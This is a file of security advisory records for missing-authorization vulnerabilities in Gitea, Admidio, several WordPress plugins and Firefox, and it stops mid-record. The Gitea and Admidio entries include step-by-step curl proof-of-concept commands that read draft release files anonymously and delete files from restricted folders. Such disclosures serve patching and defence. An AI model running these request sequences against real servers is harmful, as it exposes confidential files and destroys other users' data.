CWE-862

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-639",
      "CWE-732",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:19:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nGitea\u0027s draft-release access control is enforced only on the API release endpoints (`/api/v1/repos/{owner}/{repo}/releases/{id}` and its `/assets/...` sub-routes) but not on the web-level UUID-based attachment endpoints (`/attachments/{uuid}`, `/{owner}/{repo}/attachments/{uuid}`, `/{owner}/{repo}/releases/attachments/{uuid}`). Anyone (including unauthenticated callers) who has, learns, or otherwise obtains the UUID of an attachment belonging to a draft release can download its full contents, despite the draft release itself being correctly hidden from listings and direct-by-ID API lookups.\n\nThe `browser_download_url` field returned by the API (visible to anyone with write access to the repo) embeds the UUID. Forwarding this URL by email, log scrape, browser history, screenshot, or any side channel grants any recipient unauthenticated access to the attachment, indefinitely. This is the identical insider-leak threat model that Gitea fixed on the API surface in PR #36659 (CVE-2026-27660, Feb 2026) by adding `canAccessReleaseDraft` checks. The web mirror was missed.\n\n### Details\n\n**Root cause:** the web-side handler `ServeAttachment` (`routers/web/repo/attachment.go:122-203`) checks only repo-level unit-read permission, never the `IsDraft` flag of the linked release:\n\n```go\n// routers/web/repo/attachment.go:122-203, current implementation\nfunc ServeAttachment(ctx *context.Context, uuid string) {\n    attach, err := repo_model.GetAttachmentByUUID(ctx, uuid)\n    if err != nil { ... }\n\n    // cross-repo guard (only fires when accessed via repo-scoped URL)\n    if attach.CreatedUnix \u003e repo_model.LegacyAttachmentMissingRepoIDCutoff \u0026\u0026\n       ctx.Repo.Repository != nil \u0026\u0026 ctx.Repo.Repository.ID != attach.RepoID {\n        ctx.HTTPError(http.StatusNotFound)\n        return\n    }\n\n    unitType, repoID, err := repo_service.GetAttachmentLinkedTypeAndRepoID(ctx, attach)\n    if unitType == unit.TypeInvalid {\n        if !(ctx.IsSigned \u0026\u0026 attach.UploaderID == ctx.Doer.ID) {\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n    } else {\n        var perm access_model.Permission\n        // ... resolves repo perm\n        if !perm.CanRead(unitType) {       // \u003c-- ONLY check\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n        // NO release.IsDraft check\n        // NO canAccessReleaseDraft equivalent\n    }\n    // ... serves the file\n}\n```\n\nThe helper `GetAttachmentLinkedTypeAndRepoID` (`services/repository/repository.go:185-207`) returns `(unit.TypeReleases, rel.RepoID)` for release-linked attachments but discards the release object (including its `IsDraft` flag) before returning.\n\n**Mounted routes affected** (all reach `ServeAttachment` via `GetAttachment`):\n\n| File:line | Route | Auth gate |\n|---|---|---|\n| `routers/web/web.go:874` | `GET /attachments/{uuid}` (top-level) | `optionsCorsHandler() + webAuth.AllowBasic + webAuth.AllowOAuth2`, accepts anonymous |\n| `routers/web/web.go:1284` | `GET /{owner}/{repo}/attachments/{uuid}` (issue-context) | repo context, anonymous OK |\n| `routers/web/web.go:1473` | `GET /{owner}/{repo}/releases/attachments/{uuid}` (release-context) | `webAuth.AllowBasic + webAuth.AllowOAuth2`, anonymous OK |\n| `routers/web/web.go:1491` | `GET /{owner}/{repo}/attachments/{uuid}` (legacy compatibility) | `webAuth.AllowBasic + webAuth.AllowOAuth2`, anonymous OK |\n\n**Reference: existing fix on the API surface (PR #36659, commit `1eced4a7c0`, Feb 22 2026):**\n\n```go\n// routers/api/v1/repo/release.go:24-37, added by PR #36659\nfunc canAccessReleaseDraft(ctx *context.APIContext) bool {\n    if !ctx.IsSigned || !ctx.Repo.Permission.CanWrite(unit.TypeReleases) {\n        return false\n    }\n    // ... API-token scope check\n}\n```\n\n`canAccessReleaseDraft` is called from `GetRelease` (line 80), `ListReleases` (line 178), `GetReleaseAttachment` (`release_attachment.go:37`), and `ListReleaseAttachments` (line 148). Every API code path now gates draft visibility on **write access**. The web-side `ServeAttachment` was not updated; it continues to gate only on **read access**, allowing anonymous and non-collaborator reads.\n\n**Suggested patch** at `routers/web/repo/attachment.go:166-172`, extending the existing permission check to also gate draft releases on write access:\n\n```go\n} else { // linked attachment\n    var perm access_model.Permission\n    if ctx.Repo.Repository == nil {\n        repo, err := repo_model.GetRepositoryByID(ctx, repoID)\n        if err != nil { ... }\n        perm, err = access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer)\n        if err != nil { ... }\n    } else {\n        perm = ctx.Repo.Permission\n    }\n\n    if !perm.CanRead(unitType) {\n        ctx.HTTPError(http.StatusNotFound)\n        return\n    }\n\n    // NEW: if linked to a draft release, require write access to releases\n    if unitType == unit.TypeReleases \u0026\u0026 attach.ReleaseID != 0 {\n        rel, err := repo_model.GetReleaseByID(ctx, attach.ReleaseID)\n        if err == nil \u0026\u0026 rel.IsDraft \u0026\u0026 !perm.CanWrite(unit.TypeReleases) {\n            ctx.HTTPError(http.StatusNotFound)\n            return\n        }\n    }\n}\n```\n\nAlternatively, `GetAttachmentLinkedTypeAndRepoID` could return the linked release object so the caller does not need a second DB read.\n\n### PoC\n\nTested against `v1.27.0+dev-228-ga564f0587a` (commit `a564f0587a`), default configuration, local-storage attachments.\n\n**Setup:**\n- `alice` owns public repo `alice/alice-pub`\n- `carol` is a registered user with no relationship to `alice` (no collaboration, no org membership)\n\n**Step 1: alice creates a confidential draft release and uploads a sensitive file:**\n\n```bash\n$ DRAFT=$(curl -s -H \"Authorization: token $ALICE_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"tag_name\":\"v1.0-CONFIDENTIAL\",\"target_commitish\":\"main\",\n         \"name\":\"INTERNAL PREVIEW\",\"body\":\"unreleased build\",\n         \"draft\":true,\"prerelease\":false}\u0027 \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases)\n$ DID=$(echo \"$DRAFT\" | jq -r .id)         # e.g. 15\n\n$ echo \"TOP_SECRET_BUILD_ARTIFACT\" \u003e confidential.txt\n$ ATT=$(curl -s -H \"Authorization: token $ALICE_TOKEN\" \\\n    -F \"attachment=@confidential.txt;filename=confidential.txt\" \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets)\n$ UUID=$(echo \"$ATT\" | jq -r .uuid)\n$ ATT_ID=$(echo \"$ATT\" | jq -r .id)\n# UUID: a4701819-6f12-42e4-82fb-14b2a1191e8a\n# browser_download_url returned: http://127.0.0.1:3000/attachments/\u003cUUID\u003e\n```\n\n**Step 2: non-collaborator carol cannot see the draft via the API (correct):**\n\n```bash\n$ curl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 \\\n    -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/api/v1/repos/alice/alice-pub/releases/$DID/assets/$ATT_ID\n404\n```\n\n**Step 3: but carol (and even anonymous callers) CAN download via UUID-based web endpoints:**\n\n```bash\n# (C) carol, top-level\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK, full content\n\n# (D) carol, repo-scoped legacy\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n\n# (E) carol, release-scoped web\n$ curl -s -H \"Authorization: token $CAROL_TOKEN\" \\\n    http://127.0.0.1:3000/alice/alice-pub/releases/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n\n# (G) anonymous, top-level (NO auth header)\n$ curl -s http://127.0.0.1:3000/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK, no auth needed at all\n\n# (H) anonymous, repo-scoped legacy\n$ curl -s http://127.0.0.1:3000/alice/alice-pub/attachments/$UUID\nTOP_SECRET_BUILD_ARTIFACT          # \u003c-- 200 OK\n```\n\n**Verdict matrix:**\n\n| Endpoint | Carol (auth, non-collab) | Anonymous |\n|---|---|---|\n| API `/api/v1/.../releases/{id}/assets/{aid}` | 404 (gated) | 404 (gated) |\n| API `/api/v1/.../releases/{id}/assets` | 404 (gated) | 404 (gated) |\n| Web `/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `/{owner}/{repo}/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `/{owner}/{repo}/releases/attachments/{uuid}` | **200 LEAKS** | **200 LEAKS** |\n| Web `browser_download_url` (as returned by API) | **200 LEAKS** | **200 LEAKS** |\n\n### Impact\n\n**Vulnerability class:** Missing authorization (CWE-862) on a parallel code path that was overlooked when the same authorization check was added in a separate handler. This is an **incomplete fix for CVE-2026-27660**.\n\n**Why this is an exploitable vulnerability, not a \"configure it differently\" issue:**\n\nThe Gitea draft-release feature exists for exactly one purpose: stage release content that is not yet meant to be public. The fix in PR #36659 (CVE-2026-27660) explicitly stated *\"Draft release and its attachments need a write permission to access\"* and accordingly gated `GET /api/v1/repos/.../releases/{id}` and `GET /api/v1/repos/.../releases/{id}/assets/{aid}` behind `canAccessReleaseDraft`. The web-side `ServeAttachment` handler (which is reachable from three separate routes on the same host as the API and serves the same underlying attachment object) was not updated. The result is that the security promise communicated to operators (\"draft attachments are visible only to repo writers\") is silently false on the web URLs that the API itself hands out in `browser_download_url`.\n\nThe maintainer cannot reframe this as \"UUID is a capability token\" because Gitea has already explicitly **rejected** that model on the API surface for this exact resource class two months ago. The threat model is identical; only the handler is different.\n\n**Real-world content that leaks under this bug:**\n\nDraft releases are routinely used to stage:\n\n- **Pre-release signed binaries** (Windows MSIs, macOS notarized DMGs, Linux RPM/DEB) before publication: unauthenticated download of unannounced builds.\n- **Security-fix release candidates**: pre-disclosure window for downstream patching, exploitable if the binary diff reveals the bug.\n- **Internal SBOMs, signing manifests, third-party license bundles**: supply-chain reconnaissance.\n- **Release-key public-blob bundles, attestation files**: key-rotation tracking by external observers.\n- **Build artifacts pinned to draft tags by CI pipelines that publish-on-merge**: access to artifacts the release engineer hasn\u0027t decided to ship.\n- **CHANGELOG / release-notes drafts**: pre-disclosure of upcoming features or vulns.\n\nThese are not hypothetical use cases. They are the documented and intended use of the draft-release feature on every git forge.\n\n**Realistic attack scenarios (insider-leak threat model, same as CVE-2026-27660):**\n\n1. **Browser-UI \"Copy link\" causes the URL to leave the trust boundary.** A release engineer is preparing the next release and copies the `browser_download_url` to test the binary on a fresh VM, then pastes it into a Slack thread, a Jira ticket, an email to QA, or a commit message (\"`# binary: $URL`\"). Anyone who later reads that channel (including ex-employees, contractors who lost write access, or anyone scraping public Slack archives) has anonymous, unauthenticated, indefinite access to the draft binary.\n\n2. **Reverse-proxy or observability stack records the URL.** nginx, Caddy, HAProxy, Cloudflare, Datadog, Splunk, ELK: any HTTP-instrumentation pipeline records request paths. Anyone with log read access can extract UUIDs and pull the underlying attachment without authenticating to Gitea at all. For ELT pipelines that copy logs to cloud buckets or data lakes, that read access can be very broad.\n\n3. **Browser history, Referer, extension telemetry.** Once an authorized user downloads a draft attachment, the UUID-bearing URL lives in browser history, optional cloud-synced history (Chrome Sync, Edge Sync, Firefox Sync, recoverable on any signed-in device), browser extension telemetry, and any `Referer` header sent if the URL is loaded in a frame or via an inline asset.\n\n4. **Search-engine and mirror indexing.** Internal portals, asset inventories, dependency scanners, and SaaS supply-chain tools that follow `browser_download_url` to index release artifacts will index the draft URL just like a published one. Once indexed, the URL is discoverable for as long as the index lives.\n\n5. **Embedded links in public content.** A draft-release-attachment URL pasted into an issue comment, a PR description, a wiki page, or a README is rendered as a clickable `\u003ca href\u003e` to any reader of that public page. Readers don\u0027t see the draft release itself but get the attachment behind the link they click.\n\n**Severity calibration via direct precedent:**\n\n| Property | CVE-2026-27660 (this finding\u0027s API mirror) | This finding |\n|---|---|---|\n| Vulnerability class | Missing authorization on draft release | Missing authorization on draft release attachments |\n| Attack vector | Network | Network |\n| Privileges required | None (relies on UUID/ID being leaked) | None (relies on UUID being leaked) |\n| Attack complexity | High (must obtain UUID/ID) | High (must obtain UUID) |\n| Confidentiality | High | High |\n| Integrity / Availability | None | None |\n| Fix complexity | ~5-line authz check added at handler entry | ~5-line authz check added at handler entry |\n| Severity assigned by upstream | Medium | **Should be Medium (5.9) by direct precedent** |\n\nIf CVE-2026-27660 was accepted as a Medium-severity security advisory worth a dedicated PR, an identical bug in the web mirror of the same data is also Medium-severity. The maintainer cannot consistently rate this lower without retroactively downgrading their own previous fix.\n\n**CVSS 3.1:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` = **5.9 / Medium**\n\n- `AV:N`: reachable over the network.\n- `AC:H`: attacker must obtain the UUID via a leak channel (same prerequisite class as the upstream CVE).\n- `PR:N`: no authentication required (anonymous works).\n- `UI:N`: no user interaction required.\n- `S:U`: scope unchanged (still bounded to Gitea\u0027s auth boundary; the draft release was supposed to be inside that boundary but isn\u0027t).\n- `C:H`: full confidentiality breach of the attachment contents.\n- `I:N` / `A:N`: read-only.\n\n**Out of scope:** brute-forcing the UUID is infeasible (122 bits of UUIDv4 entropy). This is a confidentiality-loss bug, not an integrity or availability bug.\n\n**Deployment scale:** Gitea is a top-three self-hosted forge (~30 k+ public Internet-reachable instances per Shodan, plus very large numbers of internal corporate deployments and Codeberg / Forgejo derivatives that inherit the same code). The bug is present in the default configuration; no operator action is required to make a deployment vulnerable.\n\n**Fix complexity:** trivial. Add a `release.IsDraft \u0026\u0026 !perm.CanWrite(unit.TypeReleases)` check in `ServeAttachment` (single function, ~5 lines added). Patch is provided in the Details section. No data migration, no UX change, no breaking-API change.",
  "id": "GHSA-q9pg-jj6x-j9p6",
  "modified": "2026-07-21T20:19:25Z",
  "published": "2026-07-21T20:19:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-q9pg-jj6x-j9p6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38318"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38325"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/ab10e37acf7fabf7829a485cc3e13d118638a856"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f7fd51022495737cf960b8c4053a27d69148f664"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: draft release attachment disclosure via missing web authorization"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-48079"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-16T16:15:43Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Metagauss ProfileGrid  allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects ProfileGrid : from n/a through 5.9.5.1.",
  "id": "GHSA-q9q6-5878-p2qv",
  "modified": "2026-04-01T18:35:07Z",
  "published": "2025-05-16T18:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48079"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/profilegrid-user-profiles-groups-and-communities/vulnerability/wordpress-profilegrid-5-9-5-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-1003"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-16T08:15:46Z",
    "severity": "MODERATE"
  },
  "details": "The GetGenie plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.3.0. This is due to the plugin not properly verifying that a user is authorized to delete a specific post. This makes it possible for authenticated attackers, with Author-level access and above, to delete any post on the WordPress site, including posts authored by other users.",
  "id": "GHSA-q9rr-5jh9-qw58",
  "modified": "2026-01-16T09:31:21Z",
  "published": "2026-01-16T09:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1003"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/getgenie/trunk/app/Api/GetGenieChat.php#L153"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3436920"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/38ec647a-3c0c-4d3c-ba34-64c17803867b?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-3125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-07T02:15:16Z",
    "severity": "MODERATE"
  },
  "details": "The B2BKing plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the \u0027b2bking_save_price_import\u0027 function in versions up to, and including, 4.6.00. This makes it possible for Authenticated attackers with subscriber or customer-level permissions to modify the pricing of any product on the site.",
  "id": "GHSA-q9vf-7xvp-fg52",
  "modified": "2024-04-04T04:38:57Z",
  "published": "2023-06-07T03:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3125"
    },
    {
      "type": "WEB",
      "url": "https://blog.nintechnet.com/vulnerabilities-fixed-in-wordpress-b2bking-plugin"
    },
    {
      "type": "WEB",
      "url": "https://woocommerce-b2b-plugin.com/changelog"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b3f2c4c3-73d6-4b3b-8eb3-c494f52dc183?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-13361"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-22T08:15:08Z",
    "severity": "MODERATE"
  },
  "details": "The AI Power: Complete AI Pack plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the wpaicg_save_image_media function in all versions up to, and including, 1.8.96. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload image files and embed shortcode attributes in the image_alt value that will execute when sending a POST request to the attachment page.",
  "id": "GHSA-q9w3-c433-527w",
  "modified": "2025-01-22T09:32:01Z",
  "published": "2025-01-22T09:32:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13361"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3224162/gpt3-ai-content-generator/trunk/classes/wpaicg_image.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/11d49c89-43be-4e12-86b5-aa7a72a89803?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-5135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-11T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "WebExtensions can bypass normal restrictions in some circumstances and use \"browser.tabs.executeScript\" to inject scripts into contexts where this should not be allowed, such as pages from other WebExtensions or unprivileged \"about:\" pages. This vulnerability affects Firefox \u003c 59.",
  "id": "GHSA-q9w5-hr49-h5h8",
  "modified": "2022-05-13T01:52:42Z",
  "published": "2022-05-13T01:52:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5135"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1431371"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3596-1"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2018-06"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103386"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1040514"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-9195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-28T09:15:11Z",
    "severity": "HIGH"
  },
  "details": "The WHMPress - WHMCS Client Area plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the update_settings case in the /admin/ajax.php file in all versions up to, and including, 4.3-revision-3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.",
  "id": "GHSA-q9xj-2564-fqxc",
  "modified": "2025-02-28T09:30:55Z",
  "published": "2025-02-28T09:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9195"
    },
    {
      "type": "WEB",
      "url": "https://codecanyon.net/item/whmcs-client-area-whmpress-addon/11218646"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c8af0c5c-3d7b-416d-9d10-6867fcf909a5?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-22668"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-27T15:15:58Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in AwesomeTOGI Awesome Event Booking allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Awesome Event Booking: from n/a through 2.7.2.",
  "id": "GHSA-qc34-7p9f-9q4v",
  "modified": "2026-04-01T18:34:10Z",
  "published": "2025-03-27T15:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22668"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/awesome-event-booking/vulnerability/wordpress-awesome-event-booking-plugin-2-7-2-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T21:54:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn authenticated Admidio member with upload rights on **any one folder** can permanently delete files from folders where they have only view access. The authorization check at the top of `modules/documents-files.php` evaluates upload rights against the attacker-supplied `folder_uuid` URL parameter \u2014 not the file\u0027s actual parent folder. The `file_delete` handler then only verifies view rights on the file\u0027s real location, never upload rights. By passing a folder they legitimately own in `folder_uuid` while targeting a file in a restricted folder via `file_uuid`, an attacker bypasses the upload-right check entirely and permanently deletes the file.\n\nThis is an **incomplete fix** of [GHSA-rmpj-3x5m-9m5f](https://github.com/Admidio/admidio/security/advisories/GHSA-rmpj-3x5m-9m5f), which was patched in v5.0.7 but remains exploitable in v5.0.9.\n\n**Affected Version:** Admidio v5.0.9 \n\n---\n\n### Details\n\n**Root Cause File:** `modules/documents-files.php`\n\n**Issue 1 \u2014 `folder_uuid` is not required for `file_delete` mode (line 67):**\n\n```php\n$getFolderUUID = admFuncVariableIsValid($_GET, \u0027folder_uuid\u0027, \u0027uuid\u0027, array(\n    \u0027requireValue\u0027 =\u003e !in_array($getMode, array(\u0027list\u0027, \u0027file_delete\u0027, \u0027download\u0027))\n));\n```\n\n**Issue 2 \u2014 The top-level upload-right check loads the folder from the attacker-controlled URL parameter, not the file\u0027s actual parent folder (lines 79\u201388):**\n\n```php\nif ($getMode != \u0027list\u0027 \u0026\u0026 $getMode != \u0027download\u0027) {\n    $folder = new Folder($gDb);\n    $folder-\u003egetFolderForDownload($getFolderUUID);   // uses attacker-supplied UUID\n    if (!$folder-\u003ehasUploadRight()) {\n        $gMessage-\u003eshow($gL10n-\u003eget(\u0027SYS_NO_RIGHTS\u0027));\n    }\n}\n```\n\n**Issue 3 \u2014 The `file_delete` handler only checks view rights via `getFileForDownload()`. Upload rights on the file\u0027s actual folder are never verified (lines 165\u2013178):**\n\n```php\ncase \u0027file_delete\u0027:\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n    $file = new File($gDb);\n    $file-\u003egetFileForDownload($getFileUUID);   // view-only check, not upload\n    $file-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    break;\n```\n\n`File::getFileForDownload()` in `src/Documents/Entity/File.php` checks only view-role membership \u2014 it never verifies upload rights.\n\n---\n\n### Attack Scenario\n\n1. The organization has two folders: `PrivateFolder` (role A: view-only) and `UploadFolder` (role A: upload + view).\n2. Attacker is a member of role A \u2014 they have legitimate upload access to `UploadFolder` only.\n3. Attacker enumerates a file UUID in `PrivateFolder` using `file_list` mode, which is accessible to anyone with view rights.\n4. Attacker sends a `file_delete` POST using `UploadFolder`\u0027s UUID in `folder_uuid` and the `PrivateFolder` file UUID in `file_uuid`.\n5. Server checks upload rights against `UploadFolder` \u2192 **passes**.\n6. Server deletes the file from `PrivateFolder` **without ever checking upload rights there**.\n\n**Prerequisites:**\n\n- Authenticated Admidio member account\n- Upload rights on at least one folder (legitimately assigned)\n- View rights on the target folder (sufficient to enumerate file UUIDs via `file_list` mode)\n- Knowledge of a target file UUID (obtainable from the folder listing)\n\n---\n\n### PoC\n\n**Step 1 \u2014 Authenticate and obtain login CSRF token:**\n\n```bash\ncurl -c /tmp/admidio_cookies.txt http://TARGET/system/login.php \u003e /tmp/login.html\n\nLOGIN_CSRF=$(grep -o \u0027name=\"adm_csrf_token\"[^\u003e]*value=\"[^\"]*\"\u0027 /tmp/login.html \\\n  | grep -o \u0027value=\"[^\"]*\"\u0027 | cut -d\u0027\"\u0027 -f2)\n\ncurl -b /tmp/admidio_cookies.txt -c /tmp/admidio_cookies.txt \\\n  -X POST \"http://TARGET/system/login.php?mode=check\" \\\n  -d \"usr_login_name=MEMBER\u0026usr_password=PASSWORD\u0026adm_csrf_token=${LOGIN_CSRF}\"\n```\n\n**Step 2 \u2014 Extract authenticated session CSRF token:**\n\n```bash\nAUTH_CSRF=$(curl -s -b /tmp/admidio_cookies.txt \\\n  \"http://TARGET/system/file_upload.php?module=documents_files\u0026uuid=UPLOAD_FOLDER_UUID\" \\\n  | grep -oP \u0027name:\\s*\"adm_csrf_token\",\\s*value:\\s*\"\\K[^\"]+\u0027)\n```\n\n**Step 3 \u2014 Delete file from restricted folder using the upload folder UUID as bypass:**\n\n```bash\ncurl -b /tmp/admidio_cookies.txt \\\n  -X POST \"http://TARGET/modules/documents-files.php?mode=file_delete\u0026file_uuid=PRIVATE_FILE_UUID\u0026folder_uuid=UPLOAD_FOLDER_UUID\" \\\n  -d \"adm_csrf_token=${AUTH_CSRF}\"\n```\n\n**Expected response:** `{\"status\":\"success\"}`\n\n`testmember` holds upload rights **only** on `UploadFolder`. `secret2.txt` (UUID `93dc6280-...-bba7-...`) resided in `PrivateFolder` and was permanently deleted from both the database and filesystem.\n\n---\n\n### Impact\n\nAn authenticated Admidio member with legitimate upload access to **any one folder** can permanently delete files from **any other folder** to which they have view access \u2014 without authorization. In organizations where upload rights are delegated by role (e.g., team leads upload to their 